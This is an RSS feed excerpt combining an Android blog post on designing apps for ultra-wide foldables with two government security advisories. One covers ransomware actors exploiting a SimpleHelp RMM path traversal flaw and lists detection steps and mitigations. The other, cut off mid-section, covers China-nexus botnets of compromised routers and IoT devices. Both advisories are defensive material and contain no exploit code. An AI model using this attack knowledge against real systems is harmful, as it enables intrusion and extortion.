<p>With devices like the Galaxy Z Fold8, the ecosystem is expanding to include hardware with a landscape-first natural orientation and a wider aspect ratio in its main display state. Whether a user is unfolding a large display, flipping open a cover screen, or glancing at their wrist, users expect a flawless experience. To help you meet this moment, we’re sharing actionable guidance and new tooling updates to enable you to build adaptively proactively.</p>

<div class="separator">
  </div>

<h2>Rethink layout architecture for dynamic displays, including ultra-wide foldables</h2>

<p>Building for the latest foldables means dropping assumptions about display orientation and size. This is especially true for the Galaxy Z Fold8, which adopts an ultra-wide display, adding to the variety of aspect ratios to account for.  Devices with this landscape-first natural orientation show the limitations of hardcoded layout rules when users unfold the device. That’s why we’ve introduced <a href="https://developer.android.com/develop/adaptive-apps/guides/foldables/trifolds-and-landscape-foldables" target="_blank">dedicated guidance for building for landscape foldables and trifolds.</a></p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjrdDMq9mmhR2NzEVD5cgQgT3Y5DgMZOV5FrjsJb-wSiZVvJjIiDQuUkfv0cjBHQMREjOKPqz9n6wPf-x5Hn6H7uT2_JiXA3Nykcr1UwnwDRK9jGFurhTRKR-5t1BN62ISXFznXhQ_e-03Mo6uIh5-BDVmNbA1Q4RY9rSg4VxBO0K6E6Dc4kViNpvuYefY/s1302/Samsung%20fold8%20phones.png"><img border="0" data-original-height="442" data-original-width="1302" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjrdDMq9mmhR2NzEVD5cgQgT3Y5DgMZOV5FrjsJb-wSiZVvJjIiDQuUkfv0cjBHQMREjOKPqz9n6wPf-x5Hn6H7uT2_JiXA3Nykcr1UwnwDRK9jGFurhTRKR-5t1BN62ISXFznXhQ_e-03Mo6uIh5-BDVmNbA1Q4RY9rSg4VxBO0K6E6Dc4kViNpvuYefY/s1600/Samsung%20fold8%20phones.png"></a></div><br><p>To build a responsive UI that handles these physics seamlessly, focus on the following core pillars:</p>

<p></p><ul><li><b>Build fluid, adaptive layouts: </b>Wide aspect ratios and compact vertical heights require fluid UIs that scale responsively. Our updated <a href="https://developer.android.com/design/ui/mobile/guides/layout-and-content/adapt-layout" target="_blank">adaptive design guidance</a> advises considering the window class width first to determine layout changes, then adjusting for height. To let individual components fluidly adapt to the grid, structure your layout using flexible containers that allow your content to automatically wrap, span, and reflow. For design inspiration browse our <a href="https://developer.android.com/design/ui/gallery/social/pawparazzi" target="_blank">adaptive sample app</a> and <a href="https://developer.android.com/design/ui/gallery/social/dual-screen?hl=en" target="_blank">dual-screen</a> design galleries.</li><li><b>Track actual app space:</b> Your app's display space rarely matches the physical device size, especially on an ultra-wide screen during multi-window, split-screen, or multitasking states. Sometimes even the orientations differ. Leverage <a href="https://developer.android.com/develop/adaptive-apps/guides/use-window-size-classes?hl=en" target="_blank">Window Size Classes</a> using the <a href="https://developer.android.com/blog/posts/jetpack-window-manager-1-5-is-stable" target="_blank">Jetpack Window Manager library</a> to calculate the exact space your app occupies.</li></ul><div><br></div>
  
<div class="separator">
  </div></div><div class="separator"><br></div><div class="separator"><div class="separator"><ul><li><b>Leverage the latest Jetpack Compose Update: </b>Start by adopting the stable <a href="https://android-developers.googleblog.com/2026/04/jetpack-compose-april-2026-updates.html" target="_blank">Jetpack Compose April '26 release</a> (<a href="https://developer.android.com/develop/ui/compose/bom" target="_blank">Compose BOM</a> version <code>2026.04.01</code>).Take advantage of the new structural layout tools to manage complex architectures. The new <a href="https://developer.android.com/develop/ui/compose/layouts/adaptive/grid" target="_blank">Grid</a> API allows you to define dynamic tracks and column spans without the performance overhead of a lazy list. Pair Grid with the new <a href="https://developer.android.com/develop/ui/compose/layouts/adaptive/flexbox" target="_blank">FlexBox</a> layout API to easily handle multi-axis alignment and dynamic item wrapping. You can also use the new <a href="https://developer.android.com/develop/ui/compose/layouts/adaptive/mediaquery" target="_blank">MediaQuery</a> API to adapt your UI to its environment, using conditions to detect signals like device posture, window size, and keyboard types. </li><li><b>Make your app fold aware: </b>Use the Jetpack WindowManager library, which provides an API surface for foldable device window features such as folds and hinges. When your app is<a href="https://developer.android.com/develop/adaptive-apps/guides/foldables/make-your-app-fold-aware" target="_blank"> fold aware</a>, it can adapt its layout to avoid placing important content in the area of folds or hinges and use folds and hinges as natural separators.</li><li><b>Maintain app continuity:</b> Avoid breaking the user journey when the device configuration shifts. Retain your UI state using <a href="https://developer.android.com/topic/libraries/architecture/viewmodel?hl=en" target="_blank">ViewModel</a> to ensure smooth transitions when a user folds or unfolds their device.</li></ul><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjdxp09YbiUc9EzTGhIJ2fcoV67rLKb6Sm9UOVCISO4Xa0VVVnFUJG9PXSAYCq7gnHILLx8xoIx-L2C0blhugbADUa3nM0AOx8UQzGImu194B94Kt-CKAuK1CrGHUz10fBFs02Lmly-HO-fmBHFuZ9knuYRb6EP9v4-SpR7Ja-oeJZErJDUVEgEje0d7J8/s1920/7.22_MorphToTablet_Gif.gif"><img border="0" data-original-height="1080" data-original-width="1920" height="360" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjdxp09YbiUc9EzTGhIJ2fcoV67rLKb6Sm9UOVCISO4Xa0VVVnFUJG9PXSAYCq7gnHILLx8xoIx-L2C0blhugbADUa3nM0AOx8UQzGImu194B94Kt-CKAuK1CrGHUz10fBFs02Lmly-HO-fmBHFuZ9knuYRb6EP9v4-SpR7Ja-oeJZErJDUVEgEje0d7J8/w640-h360/7.22_MorphToTablet_Gif.gif" width="640"></a></div><div><h2>Ensure seamless camera capture on foldable devices</h2><div>Camera implementation on foldables brings unique hardware quirks. Moving from a compact outer display to an expanded inner display introduces distinct layout aspect ratios while device rotation remains unchanged. If an app assumes a fixed portrait relationship between the camera sensor and the device layout, the app will likely suffer from sideways, stretched, or cropped previews during these folding transitions.</div><div> </div><div>When optimizing your app's media pipeline, migrate your capture experiences to <a href="https://developer.android.com/media/camera/camerax" target="_blank">CameraX</a> using the CameraX migration <a href="https://github.com/android/skills/blob/main/camera/camerax/SKILL.md">skill</a>. The library’s <a href="https://developer.android.com/reference/kotlin/androidx/camera/view/PreviewView" target="_blank">PreviewView</a> automatically handles sensor orientation, device rotation, and scaling behind the scenes. This guarantees a clean, stable preview regardless of how the user holds or positions the device. If you are maintaining an existing Camera2 codebase, integrate the <a href="https://developer.android.com/develop/adaptive-apps/guides/foldables/trifolds-and-landscape-foldables#solution_2_cameraviewfinder" target="_blank">CameraViewfinder</a> library to apply these complex aspect ratio and rotation transformations automatically without needing a total architecture overhaul.</div></div><h2>Extend glanceable interactions to Wear OS 7</h2><div>The opportunity to build for this new generation of devices extends right to the wrist. Launching with Wear OS 7, Wear Widgets give you a fresh surface to provide users with instant, glanceable access to their essential updates. You can build these highly expressive experiences using <a href="https://developer.android.com/jetpack/androidx/releases/glance-wear" target="_blank">Jetpack Glance</a> and <a href="https://developer.android.com/jetpack/androidx/releases/compose-remote" target="_blank">RemoteCompose</a>. Crucially, Widgets built with this framework can now populate multi-widget tiles that were previously reserved for first-party widgets. </div><div><br></div>
    
 <div class="separator">
  </div><div class="separator"><h2>Build intelligent features </h2><div class="separator"><a href="https://blog.google/products-and-platforms/platforms/android/gemini-intelligence/" target="_blank">Gemini intelligence </a>already completes tasks on users’ behalf, and you can <a href="https://developer.android.com/ai/appfunctions?_gl=1*1jms098*_up*MQ..*_ga*MjY0OTY0MDI3LjE3ODQzMzI1NDk.*_ga_6HH9YJMN9M*czE3ODQzMzI1NDkkbzEkZzAkdDE3ODQzMzI1NDkkajYwJGwwJGgxNjE0MTMzNjEz" target="_blank">experiment</a> with the intelligence system by sharing your apps capabilities. </div><div class="separator"><br></div><div class="separator">Samsung’s new foldable devices come with Gemini Nano 4, our latest on-device model. Nano 4 provides support for over 140 languages, better multimodal understanding, and <a href="https://developers.google.com/ml-kit/release-notes#july_14_2026" target="_blank">much more</a>. Use <a href="https://developers.google.com/ml-kit/genai/prompt/android" target="_blank">ML Kit’s Prompt API</a> with advanced features like s<a href="https://developers.google.com/ml-kit/genai/prompt/android/structured-output" target="_blank">tructured output</a> and <a href="https://developers.google.com/ml-kit/genai/prompt/android/thinking-mode" target="_blank">thinking mode</a> to build intelligent features on-device. </div><div class="separator"><h2>Start optimizing today</h2><div class="separator">The tools and frameworks are ready to help you optimize your app for all screen sizes. Begin by exploring our guidance for <a href="https://developer.android.com/develop/adaptive-apps" target="_blank">building adaptive apps </a>to learn more about core adaptive design principles. </div><div class="separator"><br></div><div class="separator">To dive deeper, check out our comprehensive <a href="https://www.youtube.com/playlist?list=PLD2U7gd1-ieo" target="_blank">YouTube playlist</a>. Finally, ensure your app delivers a flawless, premium experience on the newest form factors by reviewing our dedicated quality guidelines for <a href="https://developer.android.com/develop/adaptive-apps/guides/foldables/trifolds-and-landscape-foldables" target="_blank">trifolds and landscape foldables</a> and <a href="https://developer.android.com/design/ui/wear/guides/get-started?hl=en" target="_blank">WearOS</a>. </div><div class="separator"><br></div><div class="separator">Unfold the future today! </div></div></div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Ransomware Actors Exploit Unpatched SimpleHelp Remote Monitoring and Management to Compromise Utility Billing Software Provider]]></title>
<description><![CDATA[Summary
The Cybersecurity and Infrastructure Security Agency (CISA) is releasing this advisory in response to ransomware actors leveraging unpatched instances of a vulnerability in SimpleHelp Remote Monitoring and Management (RMM) to compromise customers of a utility billing software provider. Th...]]></description>
<link>https://tsecurity.de/de/3693384/sicherheitsluecken/ransomware-actors-exploit-unpatched-simplehelp-remote-monitoring-and-management-to-compromise-utility-billing-software-provider/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693384/sicherheitsluecken/ransomware-actors-exploit-unpatched-simplehelp-remote-monitoring-and-management-to-compromise-utility-billing-software-provider/</guid>
<pubDate>Sat, 25 Jul 2026 09:19:52 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2><strong>Summary</strong></h2>
<p>The Cybersecurity and Infrastructure Security Agency (CISA) is releasing this advisory in response to ransomware actors leveraging unpatched instances of a vulnerability in SimpleHelp Remote Monitoring and Management (RMM) to compromise customers of a utility billing software provider. This incident reflects a broader pattern of ransomware actors targeting organizations through unpatched versions of SimpleHelp RMM since January 2025.</p>
<p>SimpleHelp versions 5.5.7 and earlier contain several vulnerabilities, including <a href="https://www.cve.org/CVERecord?id=CVE-2024-57727" target="_blank" title="CVE-2024-57727">CVE-2024-57727</a>—a path traversal vulnerability.<a href="https://www.cisa.gov/news-events/cybersecurity-advisories/aa25-163a#note1" title="Note1"><sup>1</sup></a><sup> </sup>Ransomware actors likely leveraged CVE-2024-57727 to access downstream customers’ unpatched SimpleHelp RMM for disruption of services in double extortion compromises.<a href="https://www.cisa.gov/news-events/cybersecurity-advisories/aa25-163a#note1" title="Note 1"><sup>1</sup></a><sup> </sup></p>
<p>CISA added CVE-2024-57727 to its <a href="https://www.cisa.gov/known-exploited-vulnerabilities-catalog" title="Known Exploited Vulnerabilities Catalog">Known Exploited Vulnerabilities (KEV) Catalog</a> on Feb. 13, 2025.</p>
<p>CISA urges software vendors, downstream customers, and end users to immediately implement the <strong>Mitigations </strong>listed in this advisory based on confirmed compromise or risk of compromise.</p>
<p>Download the PDF version of this report:</p>





<div class="c-file">
    <div class="c-file__download">
    <a href="https://www.cisa.gov/sites/default/files/2025-06/aa25-163a-ransomware-simplehelp-rmm-compromise.pdf" class="c-file__link" target="_blank">AA25-163A Ransomware Actors Exploit Unpatched SimpleHelp Remote Monitoring and Management to Compromise Utility Billing Software Provider</a>
    <span class="c-file__size">(PDF,       420.49 KB
  )</span>
  </div>
</div>
<h2><strong>Mitigations</strong></h2>
<p>CISA recommends organizations implement the mitigations below to respond to emerging ransomware activity exploiting SimpleHelp software. These mitigations align with the Cross-Sector Cybersecurity Performance Goals (CPGs) developed by CISA and the National Institute of Standards and Technology (NIST). The CPGs provide a minimum set of practices and protections that CISA and NIST recommend all organizations implement. CISA and NIST based the CPGs on existing cybersecurity frameworks and guidance to protect against the most common and impactful threats, tactics, techniques, and procedures. Visit CISA’s <a href="https://www.cisa.gov/cross-sector-cybersecurity-performance-goals" title="CPGs webpage">CPGs webpage</a> for more information on the CPGs, including additional recommended baseline protections. These mitigations apply to all critical infrastructure organizations.</p>
<h3>Vulnerable Third-Party Vendors</h3>
<p>If SimpleHelp is embedded or bundled in vendor-owned software or if a third-party service provider leverages SimpleHelp on a downstream customer’s network, then identify the SimpleHelp server version at the top of the file <code>&lt;file_path&gt;/SimpleHelp/configuration/serverconfig.xml</code>. If version 5.5.7 or prior is found or has been used since January 2025, third-party vendors should:</p>
<ol>
<li>Isolate the SimpleHelp server instance from the internet or stop the server process.</li>
<li>Upgrade immediately to the latest SimpleHelp version in accordance with SimpleHelp’s security vulnerability advisory.<a href="https://www.cisa.gov/news-events/cybersecurity-advisories/aa25-163a#note2" title="Note 2"><sup>2</sup></a></li>
<li>Contact your downstream customers to direct them to take actions to secure their endpoints and undertake threat hunting actions on their network.</li>
</ol>
<h3>Vulnerable Downstream Customers and End Users</h3>
<p>Determine if the system is running an unpatched version of SimpleHelp RMM either directly or embedded in third-party software.</p>
<h4><strong>SimpleHelp Endpoints</strong></h4>
<p>Determine if an endpoint is running the remote access (RAS) service by checking the following paths depending on the specific environment:</p>
<ul>
<li>Windows: <code>%APPDATA%\JWrapper-Remote Access</code></li>
<li>Linux: <code>/opt/JWrapper-Remote Access</code></li>
<li>MacOs: <code>/Library/Application Support/JWrapper-Remote Access</code></li>
</ul>
<p>If RAS installation is present and running, open the <code>serviceconfig.xml</code> file in <code>&lt;file_path&gt;/JWrapper-Remote Access/JWAppsSharedConfig/</code> to determine if the registered service is vulnerable. The lines starting with <code>&lt;ConnectTo</code> indicate the server addresses where the service is registered.</p>
<h4><strong>SimpleHelp Server</strong></h4>
<p>Determine the version of any SimpleHelp server by performing an HTTP query against it. Add <code>/allversions</code> (e.g., <code>https://simple-help.com/allversions</code>) to query the URL for the version page. This page will list the running version.</p>
<p>If an unpatched SimpleHelp version 5.5.7 or earlier is confirmed on a system, organizations should conduct threat hunting actions for evidence of compromise and continuously monitor for unusual inbound and outbound traffic from the SimpleHelp server. <strong>Note: </strong>This is not an exhaustive list of indicators of compromise.</p>
<ol>
<li> Refer to SimpleHelp’s guidance to determine compromise and next steps.<a href="https://www.cisa.gov/news-events/cybersecurity-advisories/aa25-163a#note3" title="Note 3"><sup>3</sup></a></li>
<li>Isolate the SimpleHelp server instance from the internet or stop the server process.</li>
<li>Search for any suspicious or anomalous executables with three alphabetic letter filenames (e.g., <code>aaa.exe</code>, <code>bbb.exe</code>, etc.) with a creation time after January 2025. Additionally, perform host and network vulnerability security scans via reputable scanning services to verify malware is not on the system.</li>
<li>Even if there is no evidence of compromise, users should immediately upgrade to the latest SimpleHelp version in accordance with SimpleHelp’s security vulnerabilities advisory.<a href="https://www.cisa.gov/news-events/cybersecurity-advisories/aa25-163a#note4" title="Note 4"><sup>4</sup></a></li>
</ol>
<p>If your organization is unable to immediately identify and patch vulnerable versions of SimpleHelp, apply appropriate workarounds. In this circumstance, CISA recommends using other vendor-provided mitigations when available. These non-patching workarounds should not be considered permanent fixes and organizations should apply the appropriate patch as soon as it is made available.</p>
<h3>Encrypted Downstream Customers and End Users</h3>
<p>If a system has been encrypted by ransomware:</p>
<ol>
<li>Disconnect the affected system from the internet.</li>
<li>Use clean installation media (e.g., a bootable USD drive or DVD) to reinstall the operating system. Ensure the installation media is free from malware.</li>
<li>Wipe the system and only restore data from a clean backup. Ensure data files are obtained from a protected environment to avoid reintroducing ransomware to the system.</li>
</ol>
<p>CISA urges you to promptly report ransomware incidents to a <a href="https://www.fbi.gov/contact-us/field-offices" target="_blank" title="local FBI Field Office">local FBI Field Office</a>, FBI’s <a href="https://www.ic3.gov/" target="_blank" title="Internet Crime Compliant Center (IC3)">Internet Crime Compliant Center (IC3)</a>, and CISA via CISA’s 24/7 Operations Center (<a href="mailto:report@cisa.gov" title="report@cisa.gov">report@cisa.gov</a> or 1-844-Say-CISA).</p>
<h3><strong>Proactive Mitigations to Reduce Risk</strong></h3>
<p>To reduce opportunities for intrusion and to strengthen response to ransomware activity, CISA recommends customers of vendors and managed service providers (MSPs) implement the following best practices:</p>
<ul>
<li>Maintain a robust asset inventory and hardware list [<a href="https://www.cisa.gov/cybersecurity-performance-goals-cpgs#AssetInventory1A" title="CPG 1.A">CPG 1.A</a>].</li>
<li>Maintain a clean, offline backup of the system to ensure encryption will not occur once reverted. Conduct a daily system backup on a separate, offline device, such as a flash drive or external hard drive. Remove the device from the computer after backup is complete [<a href="https://www.cisa.gov/cybersecurity-performance-goals-cpgs#SystemBackups2R" title="CPG 2.R">CPG 2.R</a>].</li>
<li>Do not expose remote services such as Remote Desktop Protocol (RDP) on the web. If these services must be exposed, apply appropriate compensating controls to prevent common forms of abuse and exploitation. Disable unnecessary OS applications and network protocols on internet-facing assets [<a href="https://www.cisa.gov/cybersecurity-performance-goals-cpgs#NoExploitableServicesontheInternet2W" title="CPG 2.W">CPG 2.W</a>].</li>
<li>Conduct a risk analysis for RMM software on the network. If RMM is required, ask third-party vendors what security controls are in place.</li>
<li>Establish and maintain open communication channels with third-party vendors to stay informed about their patch management process.</li>
<li>For software vendors, consider integrating a Software Bill of Materials (SBOM) into products to reduce the amount of time for vulnerability remediation.
<ul>
<li>An SBOM is a formal record of components used to build software. SBOMs enhance supply chain risk management by quickly identifying and avoiding known vulnerabilities, identifying security requirements, and managing mitigations for vulnerabilities. For more information, see CISA’s <a href="https://www.cisa.gov/sbom" title="SBOM">SBOM</a> page.</li>
</ul>
</li>
</ul>
<h2><strong>Resources</strong></h2>
<ul>
<li><strong>Health-ISAC:</strong><a href="https://health-isac.org/threat-bulletin-simplehelp-rmm-software-leveraged-in-exploitation-attempt-to-breach-networks/" target="_blank" title="Threat Bulletin: SimpleHelp RMM Software Leveraged in Exploitation Attempt to Breach Networks">Threat Bulletin: SimpleHelp RMM Software Leveraged in Exploitation Attempt to Breach Networks</a></li>
<li><strong>Arctic Wolf: </strong><a href="https://arcticwolf.com/resources/blog-uk/arctic-wolf-observes-campaign-exploiting-simplehelp-rmm-software-initial-access/" target="_blank" title="Arctic Wolf Observes Campaign Exploiting SimpleHelp RMM Software for Initial Access">Arctic Wolf Observes Campaign Exploiting SimpleHelp RMM Software for Initial Access</a></li>
<li><strong>CISA: </strong><a href="https://www.cisa.gov/stopransomware/ransomware-guide" title="#StopRansomware Guide">#StopR</a><a href="https://www.cisa.gov/#StopRansomware" title="#StopRansomware Guide">ansomware Guide</a></li>
</ul>
<h2><strong>Reporting</strong></h2>
<p>Your organization has no obligation to respond or provide information back to FBI in response to this advisory. If, after reviewing the information provided, your organization decides to provide information to FBI, reporting must be consistent with applicable state and federal laws.</p>
<p>FBI is interested in any information that can be shared, to include boundary logs showing communication to and from foreign IP addresses, a sample ransom note, communications with threat actors, Bitcoin wallet information, decryptor files, and/or a benign sample of an encrypted file.</p>
<p>Additional details of interest include a targeted company point of contact, status and scope of infection, estimated loss, operational impact, transaction IDs, date of infection, date detected, initial attack vector, and host- and network-based indicators.</p>
<p>CISA and FBI do not encourage paying ransom as payment does not guarantee victim files will be recovered. Furthermore, payment may also embolden adversaries to target additional organizations, encourage other criminal actors to engage in the distribution of ransomware, and/or fund illicit activities. Regardless of whether you or your organization have decided to pay the ransom, FBI and CISA urge you to promptly report ransomware incidents to FBI’s <a href="https://www.ic3.gov/Home/ComplaintChoice" title="Internet Crime Complain Center (IC3)">Internet Crime Complain Center (IC3)</a>, a <a href="https://www.fbi.gov/contact-us/field-offices" title="local FBI Field Office">local FBI Field Office</a>, or CISA via the agency’s <a href="https://myservices.cisa.gov/irf" title="Incident Reporting System">Incident Reporting System</a> or its 24/7 Operations Center (<a href="mailto:report@cisa.gov)or" title="report@cisa.gov">report@cisa.gov</a>) or by calling 1-844-Say-CISA (1-844-729-2472).</p>
<p>SimpleHelp users or vendors can contact <a href="mailto:support@simple-help.com" title="support@simple-help.com">support@simple-help.com</a> for assistance with queries or concerns.</p>
<h2><strong>Disclaimer</strong></h2>
<p>The information in this report is being provided “as is” for informational purposes only. CISA does not endorse any commercial entity, product, company, or service, including any entities, products, or services linked within this document. Any reference to specific commercial entities, products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favor by CISA.</p>
<h2><strong>Version History</strong></h2>
<p><strong>June 12, 2025:</strong> Initial version.</p>
<h2><strong>Notes</strong></h2>
<p><a class="ck-anchor"><strong>1.</strong></a><strong> </strong>Anthony Bradshaw, et. al., “DragonForce Actors Target SimpleHelp Vulnerabilities to Attack MSP, Customers,” <em>Sophos News</em>, May 27, 2025, <a href="https://news.sophos.com/en-us/2025/05/27/dragonforce-actors-target-simplehelp-vulnerabilities-to-attack-msp-customers/" target="_blank" title="DragonForce actors target SimpleHelp vulnerabilities to attack MSP, customers">https://news.sophos.com/en-us/2025/05/27/dragonforce-actors-target-simplehelp-vulnerabilities-to-attack-msp-customers/</a>.<br><a class="ck-anchor"><strong>2</strong></a><strong>.</strong> For instructions for upgrading to the latest version of SimpleHelp, see <a href="https://simple-help.com/kb---security-vulnerabilities-01-2025" target="_blank" title="SimpleHelp’s security vulnerability advisory.">SimpleHelp’s security vulnerability</a> advisory.<br><a class="ck-anchor"><strong>3.</strong></a> To determine possibility of compromise and next steps, see <a href="https://simple-help.com/kb---security-vulnerabilities-01-2025#characteristics-of-compromise" target="_blank" title="Characteristics of Compromise">SimpleHelp’s guidance</a>.<br><a class="ck-anchor"><strong>4</strong></a><strong>. </strong>For instructions for upgrading to the latest version of SimpleHelp, see <a href="https://simple-help.com/kb---security-vulnerabilities-01-2025" target="_blank" title="security vulnerability advisory">SimpleHelp’s security vulnerability</a> advisory.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Defending Against China-Nexus Covert Networks of Compromised Devices]]></title>
<description><![CDATA[Defending against china-nexus covert networks of compromised devices
executive summary
Defending against China-nexus covert networks of compromised devices 
Explaining the widespread shift in tactics, techniques and procedures (TTPs) towards networks of compromised infrastructure, and how to defe...]]></description>
<link>https://tsecurity.de/de/3693378/sicherheitsluecken/defending-against-china-nexus-covert-networks-of-compromised-devices/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693378/sicherheitsluecken/defending-against-china-nexus-covert-networks-of-compromised-devices/</guid>
<pubDate>Sat, 25 Jul 2026 09:10:14 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div class="SCXW131754345 BCX8">
<div class="OutlineElement Ltr SCXW131754345 BCX8">
<h2><a class="c-button c-button--on-dark" href="https://urldefense.us/v3/__https://www.ncsc.gov.uk/news/defending-against-china-nexus-covert-networks-of-compromised-devices__;!!BClRuOV5cvtbuNI!Cvg8stIR3jHWVZgHhCVvEwbwDXxXIRSprOQ9JtY2YKwxUIGVovuDAu7QrFsfw3sfAVd8-gxEMIpgldwlY-jTD7G0%24">Defending against china-nexus covert networks of compromised devices</a></h2>
<h2><a class="c-button c-button--on-dark" href="https://urldefense.us/v3/__https://www.ncsc.gov.uk/news/executive-summary-defending-against-china-nexus-covert-networks-of-compromised-devices__;!!BClRuOV5cvtbuNI!Cvg8stIR3jHWVZgHhCVvEwbwDXxXIRSprOQ9JtY2YKwxUIGVovuDAu7QrFsfw3sfAVd8-gxEMIpgldwlYzP90Ign%24">executive summary</a></h2>
<h2><strong>Defending against China-nexus covert networks of compromised devices </strong></h2>
<p>Explaining the widespread shift in tactics, techniques and procedures (TTPs) towards networks of compromised infrastructure, and how to defend against it </p>
<h3><strong>Summary</strong></h3>
<p>With support from the UK <a href="https://www.ncsc.gov.uk/information/cyber-league" target="_blank"><u>Cyber League</u></a>, this advisory has been jointly released by the National Cyber Security Centre (NCSC-UK) and international partners: </p>
<ul>
<li>Australian Signals Directorate’s (ASD’s) Australian Cyber Security Centre (ACSC)</li>
<li>Communications Security Establishment Canada’s (CSE’s) Canadian Centre for Cyber Security (Cyber Centre)</li>
<li>Germany Federal Office for the Protection of the Constitution -   Bundesamt für Verfassungsschutz (BfV)</li>
<li>Germany Federal Intelligence Service – Bundesnachrichtendienst (BND)</li>
<li>Germany Federal Office for Information Security - Bundesamt für Sicherheit in der Informationstechnik (BSI)</li>
<li>Japan National Cybersecurity Office (NCO) - 国家サイバー統括室</li>
<li>Netherlands General Intelligence and Security Service - Algemene Inlichtingen- en Veiligheidsdienst (AIVD)</li>
<li>Netherlands Defence Intelligence and Security Service - Militaire Inlichtingen- en Veiligheidsdienst (MIVD)</li>
<li>New Zealand National Cyber Security Centre (NCSC-NZ)</li>
<li>Spain National Cryptologic Centre – Centro Criptológico Nacional (CCN)</li>
<li>Sweden National Cyber Security Centre - Nationellt cybersäkerhetscenter (NCSC-SE)</li>
<li>United States Cybersecurity and Infrastructure Security Agency (CISA)</li>
<li>United States Department of Defense Cyber Crime Center (DC3)</li>
<li>United States Federal Bureau of Investigation (FBI)</li>
<li>United States National Security Agency (NSA) </li>
</ul>
<p>Its purpose is to provide network defenders with the tools needed to defend against China-nexus cyber actors and their tactic of using large scale networks of compromised devices (covert networks) to route their cyber activity. </p>
<h3><strong>Introduction  </strong></h3>
<p>Over the past few years there has been a major shift in the tactics, techniques and procedures (TTPs) used by China-nexus cyber actors, moving away from the use of individually procured infrastructure, and towards the use of externally provisioned, large-scale networks of compromised devices. </p>
<div class="OutlineElement Ltr SCXW149482171 BCX8">
<p>The NCSC believes that the majority of China-nexus threat actors are using these networks (hereafter “covert networks”), that multiple covert networks have been created and are being constantly updated, and that a single covert network could be being used by multiple actors. These networks are mainly made up of compromised Small Office Home Office (SOHO) routers, as well as Internet of Things (IoT) and smart devices. </p>
</div>
<div class="OutlineElement Ltr SCXW149482171 BCX8">
<p>Anyone who is a target of China-nexus cyber actors may be impacted by the use of covert networks. They have been <a href="https://www.ncsc.gov.uk/news/ncsc-and-partners-issue-warning-about-state-sponsored-cyber-attackers-hiding-on-critical-infrastructure-networks" target="_blank"><u>used by Chinese state-sponsored actors Volt Typhoon</u></a> to pre-position offensive cyber capabilities on critical national infrastructure. The group <a href="https://www.ncsc.gov.uk/news/ncsc-and-partners-issue-advice-to-counter-china-linked-campaign-targeting-thousands-of-devices" target="_blank"><u>Flax Typhoon used a different covert network</u></a> of compromised infrastructure to conduct cyber espionage. </p>
</div>
<div class="OutlineElement Ltr SCXW149482171 BCX8">
<p>The use of covert networks of compromised devices - also known as botnets - to facilitate malicious cyber activity is not new, but China-nexus cyber actors are now using them strategically, and at scale.  </p>
</div>
<div class="OutlineElement Ltr SCXW149482171 BCX8">
<p>This advisory describes the typical makeup of a covert network and what they are being used for. It also includes protective advice for organizations being targeted by cyber activity using a covert network as an access vector.</p>
<h3><strong>Covert Networks </strong></h3>
<p>Covert networks are used to connect across the internet in a low-cost, low-risk, deniable way, disguising the origin and attribution of malicious activity. Actors have been observed using them for each phase of their Cyber Kill Chains, from performing scans as part of reconnaissance, to the delivery of malware, communicating with said malware, and exfiltrating stolen data from a victim. They can also be used for general deniable internet browsing, allowing threat actors to research exploitation techniques, new TTPs, and their victims without attribution. Some covert networks are also used by legitimate customers to browse the internet, making it challenging to attribute malicious activity. </p>
<div class="OutlineElement Ltr SCXW53561783 BCX8">
<p>There is evidence that covert networks used by China-nexus actors are created and maintained by Chinese information security companies. A network known to network defenders as Raptor Train, which in 2024 infected more than 200,000 devices worldwide, was controlled and managed by the Chinese company, Integrity Technology Group. This company was also <a href="https://www.justice.gov/archives/opa/pr/court-authorized-operation-disrupts-worldwide-botnet-used-peoples-republic-china-state" target="_blank"><u>assessed by the FBI</u></a> to be responsible for the computer intrusion activities attributed to China-based hackers known as Flax Typhoon. </p>
</div>
<div class="OutlineElement Ltr SCXW53561783 BCX8">
<blockquote>
<p><strong>Botnet operations represent a significant threat to the UK by exploiting vulnerabilities in everyday internet-connected devices with the potential to carry out large-scale cyber attacks – NCSC Director of Operations, Paul Chichester </strong></p>
</blockquote>
</div>
<div class="OutlineElement Ltr SCXW53561783 BCX8">
<p>Covert networks mostly consist of compromised SOHO routers, but they also pull in any vulnerable device they can exploit at scale. Raptor Train was made up of thousands of SOHO routers and IoT devices, such as web cameras and video recorders, as well as firewalls and Network Attached Storage (NAS) devices. The KV Botnet used by Volt Typhoon <a href="https://www.justice.gov/archives/opa/pr/us-government-disrupts-botnet-peoples-republic-china-used-conceal-hacking-critical" target="_blank"><u>was mainly made up of vulnerable Cisco and NetGear routers</u></a>. The edge devices were vulnerable because they were “end of life” – out of date and no longer receiving updates or security patches by their manufacturers. </p>
</div>
<div class="OutlineElement Ltr SCXW53561783 BCX8">
<p>The cyber security industry has been aware of examples of these networks for some time and has publicly reported on the widespread scale of the threat and its implications. Mandiant Intelligence produced a <a href="https://cloud.google.com/blog/topics/threat-intelligence/china-nexus-espionage-orb-networks" target="_blank"><u>public blog in May 2024</u></a> talking about covert networks in which they highlighted a key issue for defenders – indicator of compromise (IOC) Extinction. If a particular threat group could now come from one of many covert networks, each with potentially hundreds of thousands of endpoints, and each used by multiple threat actors, old network defense paradigms of static malicious IP block lists will be less effective. This is compounded by the dynamic nature of these networks where new nodes will be added as old devices are patched or removed from use. </p>
<h3><strong>Typical Network Topology</strong></h3>
<p>The number of covert networks used by China-nexus cyber actors is large, with new networks regularly developed and deployed. The existing covert networks change too, either because of defensive or legal action, or simply as a result of software updates and new exploits being used to target different technologies for incorporation into the network. </p>
<div class="OutlineElement Ltr SCXW21942648 BCX8">
